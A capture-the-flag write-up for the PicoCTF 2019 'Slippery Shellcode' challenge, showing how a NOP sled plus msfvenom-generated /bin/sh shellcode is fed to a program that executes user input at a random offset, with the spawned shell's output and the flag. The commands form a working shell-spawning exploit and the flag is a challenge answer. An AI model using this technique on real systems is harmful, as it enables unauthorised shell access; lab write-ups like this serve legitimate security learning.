# Slippery Shellcode | PicoCTF2019## ProblemThis program is a little bit more tricky. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/slippery-shellcode_4_64839254839978b32eb661ca92071d48 on the shell server.
## Solution### 1. Read the code to understand what's going onCan see that it's calling the vuln function from a random location, as determined by an offset value. Because of this we can no longer rely on a constant offset to place our shellcode at. However, the offset will be a number with a maximum of 256.```bash  puts("Enter your shellcode:");  vuln(buf);
  puts("Thanks! Executing from a random location now...");
  int offset = (rand() % 256) + 1;   ((void (*)())(buf+offset))();
```
### 2. Construct the payloadWe can use a NOP sled to make sure the control always passes to the shellcode. This means giving 256 NOP instructions followed by the payload.The shellcode payload we can generate using msfvenom, just appending a print statement to ensure the 256 NOP bytes go before it.```bashkali@kali:~/Desktop$ msfvenom --arch x86 --platform linux -p linux/x86/exec CMD=/bin/sh -e generic/none -f python -o payloadkali@kali:~/Desktop$ echo "print('\x90' * 256 + buf)" >> payload```We now have a script we can run to produce the payload, which is then supplied to the binary. We also follow the payload by the cat program, which keeps the process open.
### 3. Claim the flagOn the server we recreate this script just by copy-pasting the code into a file, and then we can run it to get the flag.```bash$ (python payload; cat) | ./vulnEnter your shellcode:����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1���                                                                                                                          Qh//shh/bin��̀Thanks! Executing from a random location now...lsflag.txt  vuln  vuln.ccat flag.txtpicoCTF{sl1pp3ry_sh311c0d3_3d79d4df}```